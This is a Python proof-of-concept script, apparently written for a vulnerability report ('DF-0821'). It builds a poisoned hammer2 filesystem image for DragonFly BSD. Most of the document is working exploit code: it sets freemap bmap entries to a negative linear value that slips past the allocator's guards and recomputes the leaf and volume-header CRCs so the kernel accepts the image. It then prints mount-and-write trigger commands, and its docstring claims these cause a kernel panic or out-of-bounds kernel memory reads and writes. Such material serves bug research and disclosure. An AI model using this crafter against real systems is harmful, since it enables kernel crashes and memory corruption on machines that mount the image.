#!/usr/bin/env python3
"""
DF-0821 PoC image crafter.

Creates a small hammer2 filesystem image (caller pre-makes it with
newfs_hammer2 + mount + write files + unmount so freemap leaves exist on
disk), then patches one or more bmap_data.linear fields inside a freemap
LEAF chain to a NEGATIVE int32 value (e.g. 0x80001000).  The negative
linear passes all three linear-iterator guards in
hammer2_bmap_alloc() (hammer2_freemap.c:616-619) because:

  (uint32_t)linear & HAMMER2_FREEMAP_BLOCK_MASK  -> 0x1000  (nonzero, fits)
   int32_t linear  <  HAMMER2_SEGSIZE             -> true (negative < 4MB)

...but then KKASSERT(bmap->linear >= 0 && ...) at :631 fires on INVARIANTS-ON
(default X86_64_GENERIC), panicking the kernel.  On an INVARIANTS-OFF kernel
the KKASSERT is a no-op and the negative linear drives an OOB array index
into bmap->bitmapq[-N] at :727/:749/:785 (read) and :803 (write).

The chain CRC (HAMMER2_CHECK_FREEMAP = iscsi_crc32 over the 32KB leaf) and
the volume-header icrc_volheader are recomputed so the kernel trusts the
poisoned leaf.

Layout (for a <= 1GB image, verified by analysis):
  - Volume header copy #0 at disk offset 0 (64KB).
  - freemap_blockset at vol-header offset 0x800; blockref[0] is type=6
    (FREEMAP_LEAF) pointing at disk_off=0x10000 radix=15 (32KB).
  - No FREEMAP_NODE intermediate for images < 1GB.

Usage:
  craft_img.py <in.img> <out.img> [linear_hex]
    linear_hex defaults to 0x80001000 (negative int32 = -2147479552)
"""
import struct, sys, os

# --- CRC32C (Castagnoli), matches sys/libkern/icrc32.c iscsi_crc32() -------
def _make_crc32c_table():
    poly = 0x82F63B78
    table = []
    for n in range(256):
        c = n
        for _ in range(8):
            c = (c >> 1) ^ poly if (c & 1) else (c >> 1)
        table.append(c)
    return table

_TBL = _make_crc32c_table()

def iscsi_crc32(data):
    crc = 0xFFFFFFFF
    for b in data:
        crc = _TBL[(crc ^ b) & 0xFF] ^ (crc >> 8)
    return crc ^ 0xFFFFFFFF

# Self-test: CRC32C of "123456789" == 0xE3069283
assert iscsi_crc32(b"123456789") == 0xE3069283, \
    f"CRC32C self-test FAILED: {iscsi_crc32(b'123456789'):#010x}"

# --- hammer2 on-disk constants (sys/vfs/hammer2/hammer2_disk.h) -------------
HAMMER2_VOLUME_BYTES      = 65536
HAMMER2_VOLUME_ICRCVH_OFF = 0
HAMMER2_VOLUME_ICRCVH_SIZE= 65536 - 4
HAMMER2_NUM_VOLHDRS       = 4
HAMMER2_ZONE_BYTES64      = 2 * 1024 * 1024 * 1024
HAMMER2_VOLUME_ID_HBO     = 0x48414d3205172011

FREEMAP_BLOCKSET_OFF      = 0x800    # offset of freemap_blockset within volhdr
BLOCKREF_BYTES            = 128
DATA_OFF_FIELDOFF         = 32       # data_off field offset within blockref
CHECK_FREEMAP_ICRC32_OFF  = 64       # check.freemap.icrc32 within blockref
CHECK_FREEMAP_BIGMASK_OFF = 68
CHECK_FREEMAP_AVAIL_OFF   = 72
OFF_MASK_RADIX            = 0x3F

BREF_TYPE_FREQ_MAP = {6: 'FREEMAP_LEAF', 5: 'FREEMAP_NODE'}

def main():
    if len(sys.argv) < 3:
        print(__doc__)
        sys.exit(2)
    in_img  = sys.argv[1]
    out_img = sys.argv[2]
    bad_linear = int(sys.argv[3], 0) if len(sys.argv) > 3 else 0x80001000

    # Validate the linear value passes the guards:
    u = bad_linear & 0xFFFFFFFF
    s = bad_linear if bad_linear < 0x80000000 else bad_linear - 0x100000000
    SEGSIZE = 1 << 22  # 4MB
    BLOCK_MASK = (1 << 14) - 1  # 0x3FFF
    BLOCK_SIZE = 1 << 14  # 16384
    size = 1024  # HAMMER2_ALLOC_MIN, smallest typical allocation
    g1 = ((u & BLOCK_MASK) + size) <= BLOCK_SIZE
    g2 = (u & BLOCK_MASK) != 0
    g3 = s < SEGSIZE
    print(f"[+] Target linear value: {u:#010x} (int32={s}, uint32={u})")
    print(f"    guard1 (uint32&mask + size <= BLOCK_SIZE): {g1}  "
          f"({u & BLOCK_MASK:#x} + {size} = {(u & BLOCK_MASK) + size} <= {BLOCK_SIZE})")
    print(f"    guard2 (uint32&mask nonzero)            : {g2}  ({u & BLOCK_MASK:#x})")
    print(f"    guard3 (int32 < SEGSIZE)                : {g3}  ({s} < {SEGSIZE})")
    if not (g1 and g2 and g3):
        print(f"[!] ERROR: chosen linear does NOT pass all 3 guards; pick another", file=sys.stderr)
        sys.exit(1)
    # The KKASSERT check that fires on GENERIC:
    kkassert_fires = not (s >= 0)
    print(f"    KKASSERT(linear>=0) fires on GENERIC    : {kkassert_fires}")
    if not kkassert_fires:
        print(f"[!] WARNING: linear is non-negative; KKASSERT won't fire on GENERIC", file=sys.stderr)

    with open(in_img, 'rb') as f:
        img = bytearray(f.read())

    # --- Locate the freemap leaf via vol header copy #0 -----------------------
    volhdr_off = 0
    volhdr = img[volhdr_off:volhdr_off + HAMMER2_VOLUME_BYTES]
    magic = struct.unpack_from('<Q', volhdr, 0)[0]
    if magic != HAMMER2_VOLUME_ID_HBO:
        print(f"[!] ERROR: bad volhdr magic at offset 0: {magic:#018x}", file=sys.stderr)
        sys.exit(1)

    # freemap_blockset.blockref[0]
    bref0_off = FREEMAP_BLOCKSET_OFF
    btype = volhdr[bref0_off]
    methods = volhdr[bref0_off + 1]
    data_off = struct.unpack_from('<Q', volhdr, bref0_off + DATA_OFF_FIELDOFF)[0]
    disk_off = data_off & ~OFF_MASK_RADIX
    radix = data_off & OFF_MASK_RADIX
    leaf_size = (1 << radix) if radix else 0
    bigmask = struct.unpack_from('<I', volhdr, bref0_off + CHECK_FREEMAP_BIGMASK_OFF)[0]
    leaf_avail = struct.unpack_from('<Q', volhdr, bref0_off + CHECK_FREEMAP_AVAIL_OFF)[0]
    stored_icrc = struct.unpack_from('<I', volhdr, bref0_off + CHECK_FREEMAP_ICRC32_OFF)[0]
    print(f"[+] freemap_blockset[0]: type={btype} methods={methods:#x} "
          f"data_off={data_off:#018x} (disk_off={disk_off:#x} radix={radix} size={leaf_size})")
    print(f"    bigmask={bigmask:#010x} avail={leaf_avail:#x} stored icrc32={stored_icrc:#010x}")
    if btype != 6:
        print(f"[!] ERROR: expected freemap_blockset[0] type=6 (LEAF), got {btype}", file=sys.stderr)
        print(f"    (multi-level freemap not supported by this crafter)", file=sys.stderr)
        sys.exit(1)

    # Verify the current leaf CRC matches what's stored (sanity).
    leaf_disk_off = volhdr_off + disk_off  # disk_off is relative to image start
    # Actually disk_off is the absolute byte offset into the image for zone-encoded data.
    # For our small image, disk_off = 0x10000 = 64KB. The freemap zone encoding:
    # the data_off field encodes the physical byte offset in the low 58 bits.
    # We treat disk_off as the absolute image offset.
    leaf_disk_off = disk_off
    leaf_data = bytes(img[leaf_disk_off:leaf_disk_off + leaf_size])
    calc_icrc = iscsi_crc32(leaf_data)
    print(f"[+] leaf at image offset {leaf_disk_off:#x}, {leaf_size} bytes, "
          f"{leaf_size // 128} bmap entries")
    print(f"    stored icrc32={stored_icrc:#010x}  calculated={calc_icrc:#010x}  "
          f"match={stored_icrc == calc_icrc}")

    # --- Pick bmap entries to poison -----------------------------------------
    # We want entries where avail > 0 (so availchk=1) AND either class==0
    # (matches any allocation) or we don't care (relaxed).  Set linear to
    # the negative value.
    poisoned = []
    for n in range(leaf_size // 128):
        base = n * 128
        linear = struct.unpack_from('<i', leaf_data, base)[0]
        cls = struct.unpack_from('<H', leaf_data, base + 4)[0]
        avail = struct.unpack_from('<I', leaf_data, base + 0x1C)[0]
        if avail > 0 and cls == 0:
            # poison it
            old_lin = linear
            struct.pack_into('<i', img, leaf_disk_off + base, bad_linear if bad_linear < 0x80000000 else bad_linear - 0x100000000)
            poisoned.append((n, old_lin, bad_linear, avail))
        elif avail > 0 and cls != 0 and linear != 0:
            # also poison entries that already have a linear iterator running
            old_lin = linear
            struct.pack_into('<i', img, leaf_disk_off + base, bad_linear if bad_linear < 0x80000000 else bad_linear - 0x100000000)
            poisoned.append((n, old_lin, bad_linear, avail))

    if not poisoned:
        print(f"[!] ERROR: no suitable bmap entries (avail>0) found to poison", file=sys.stderr)
        sys.exit(1)
    print(f"[+] Poisoned {len(poisoned)} bmap entries (set linear -> {bad_linear:#010x}):")
    for n, old, new, avail in poisoned[:8]:
        print(f"    bmdata[{n}]: linear {old:#010x} -> {new:#010x} (avail={avail:#x})")
    if len(poisoned) > 8:
        print(f"    ... and {len(poisoned)-8} more")

    # --- Recompute leaf chain CRC --------------------------------------------
    new_leaf_data = bytes(img[leaf_disk_off:leaf_disk_off + leaf_size])
    new_leaf_icrc = iscsi_crc32(new_leaf_data)
    struct.pack_into('<I', img, volhdr_off + bref0_off + CHECK_FREEMAP_ICRC32_OFF, new_leaf_icrc)
    print(f"[+] Recomputed leaf chain icrc32 = {new_leaf_icrc:#010x} "
          f"(stored in freemap_blockset[0].check.freemap.icrc32 at vol_off {bref0_off + CHECK_FREEMAP_ICRC32_OFF:#x})")

    # --- Recompute icrc_volheader (covers entire 64KB volhdr minus last 4) ---
    new_vh_icrc = iscsi_crc32(bytes(img[volhdr_off + HAMMER2_VOLUME_ICRCVH_OFF:
                                       volhdr_off + HAMMER2_VOLUME_ICRCVH_OFF + HAMMER2_VOLUME_ICRCVH_SIZE]))
    struct.pack_into('<I', img, volhdr_off + HAMMER2_VOLUME_BYTES - 4, new_vh_icrc)
    print(f"[+] Recomputed icrc_volheader = {new_vh_icrc:#010x}")

    # --- Verify sect0 / sect1 CRCs are still valid (we didn't touch them) ----
    ICRC0_SIZE = 512 - 4
    ICRC1_OFF = 512
    ICRC1_SIZE = 512
    VOL_ICRC_SECT0 = 7
    VOL_ICRC_SECT1 = 6
    ICRC_SECTS_OFF = 0x1E0
    sect0_stored = struct.unpack_from('<I', img, volhdr_off + ICRC_SECTS_OFF + VOL_ICRC_SECT0 * 4)[0]
    sect0_calc = iscsi_crc32(bytes(img[volhdr_off:volhdr_off + ICRC0_SIZE]))
    sect1_stored = struct.unpack_from('<I', img, volhdr_off + ICRC_SECTS_OFF + VOL_ICRC_SECT1 * 4)[0]
    sect1_calc = iscsi_crc32(bytes(img[volhdr_off + ICRC1_OFF:volhdr_off + ICRC1_OFF + ICRC1_SIZE]))
    print(f"[+] sect0 CRC: stored={sect0_stored:#010x} calc={sect0_calc:#010x} match={sect0_stored==sect0_calc}")
    print(f"[+] sect1 CRC: stored={sect1_stored:#010x} calc={sect1_calc:#010x} match={sect1_stored==sect1_calc}")
    if sect0_stored != sect0_calc or sect1_stored != sect1_calc:
        print(f"[!] WARNING: sect0/sect1 CRC mismatch - mount will reject volhdr", file=sys.stderr)

    # --- Write the crafted image ---------------------------------------------
    with open(out_img, 'wb') as f:
        f.write(img)
        f.flush()
        os.fsync(f.fileno())
    print(f"[+] Crafted image written to {out_img} ({len(img)} bytes)")
    print(f"[+] Trigger: vnconfig -c vn1 {out_img} && "
          f"mount -t hammer2 /dev/vn1@testvol /mnt/h2821 && "
          f"echo hi > /mnt/h2821/triggerfile")
    print(f"[+] Expected on default GENERIC (INVARIANTS ON): panic at "
          f"hammer2_freemap.c:631 KKASSERT(\"bmap->linear >= 0 && ...\")")

if __name__ == '__main__':
    main()